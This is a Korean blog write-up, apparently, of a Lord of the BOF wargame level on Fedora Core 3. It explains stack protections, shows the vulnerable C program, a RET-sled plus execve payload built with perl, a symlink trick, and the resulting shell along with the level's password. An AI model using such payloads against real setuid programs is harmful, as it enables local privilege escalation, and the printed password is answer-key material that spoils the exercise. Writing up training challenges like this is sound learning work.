Fedora 내부의 환경은 1번 게시글 참조.
1.DEP 환경 : Non-Excute stack 이라고도 불리며 스택에 있는 코드는 실행 권한없음 -> 즉 스택에 쉘코드를 박고 ret주소를 가리켜 공격하는 방식은 끝남. 2.ASC Armor 기능 : Lib 주소에 맨 첫자리가 00 (NULL) 값이 됨으로써 여러번 호출이 안되고 단 한번의 라이브러리 들로만 호출이 됨. 3. Random Stack : 스택의 주소값이 실행할 때 마다 random 하게 변한다. 즉 정확한 주소를 맞출 수 없다. 4. 1번 문제에서 알아낸 System 함수의 setreuid 초기화 루틴.. 즉 execve 를 사용해야함. |
/* The Lord of the BOF : The Fellowship of the BOF - dark_eyes - Local BOF on Fedora Core 3 - hint : RET sleding */ int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; if(argc < 2){ printf("argv error\n"); exit(0); } // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); printf("%s\n", buffer); } |
페이로드는 다음과 같다.
[ buffer = 264 ] [ sfp = 4 ] [ ret = 4 ] [ argc ] [ argv ] ret = & ret ret = &execve (인자값) ln -s k1rha 인자값
|
(gdb) p execve $1 = {<text variable, no debug info>} 0x7a5490 <execve> |
다음은 strace를 이용한 값을 오류로서 result 에 저장한다.
( ret 주소의 반복은 전 문제에서 이미 2번정도면 스택을 벗어 난다는 것을 확인 했으므로 2번으로 해준 것이다.)
0000750: 2c20 3238 3029 203d 2032 3830 0a65 7865 , 280) = 280.exe 0000760: 6376 6528 223c ed83 222c 205b 305d 2c20 cve("<..", [0], 0000770: 5b2f 2a20 3120 7661 7220 2a2f 5d29 2020 [/* 1 var */]) 0000780: 2020 2020 203d 202d 3120 454e 4f45 4e54 = -1 ENOENT 0000790: 2028 4e6f 2073 7563 6820 6669 6c65 206f (No such file o 00007a0: 7220 6469 7265 6374 6f72 7929 0a2d 2d2d r directory).--- 00007b0: 2053 4947 5345 4756 2028 5365 676d 656e SIGSEGV (Segmen 00007c0: 7461 7469 6f6e 2066 6175 6c74 2920 4020 tation fault) @ 00007d0: 3020 2830 2920 2d2d 2d0a 2b2b 2b20 6b69 0 (0) ---.+++ ki 00007e0: 6c6c 6564 2062 7920 5349 4753 4547 5620 lled by SIGSEGV 00007f0: 2b2b 2b0a +++. [iron_golem@Fedora_1stFloor ~]$ |
1번문제와 마찬가지로 " = 0x22 라는 점을 이용하여 그 사이값을 인자로 구성한다.
이후 setreuid 와 system 함수로 쉘을 실행시키는 프로그램으로 심볼릭 링크 걸어 준다.
[iron_golem@Fedora_1stFloor ~]$ ln -s k1rha `perl -e 'print "\x3c\xed\x83"'` [iron_golem@Fedora_1stFloor ~]$ export PATH=$PATH:/home/iron_golem/ [iron_golem@Fedora_1stFloor ~]$ `perl -e 'print "\x3c\xed\x83"'` sh-3.00$ exit exit |
공격 공격~
[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `perl -e 'print "a"x268,"\xfe\x82\x04\x08"x2,"\x91\x54\x7a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa˜ùãþþþ‘Tz
sh-3.00$ id
uid=502(dark_eyes) gid=501(iron_golem) groups=501(iron_golem) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 502
because of you
sh-3.00$
'War_Game > system' 카테고리의 다른 글
LOB Fedora BOF GOT overwrite (hell_fire -> evil_wizard) (0) | 2013.04.07 |
---|---|
[LOB] 페도라 원정대 3 (dark_eyes -> hell_fire) (0) | 2013.04.01 |
LOB level20 (xavius -> death_knight) Remote BOF (2) | 2012.06.21 |
LOB 페도라 원정대 (gate -> iron_golem) (0) | 2012.05.11 |
해커스쿨 level20 문제풀이 (solution of hackerschool ftz level20) (0) | 2012.04.01 |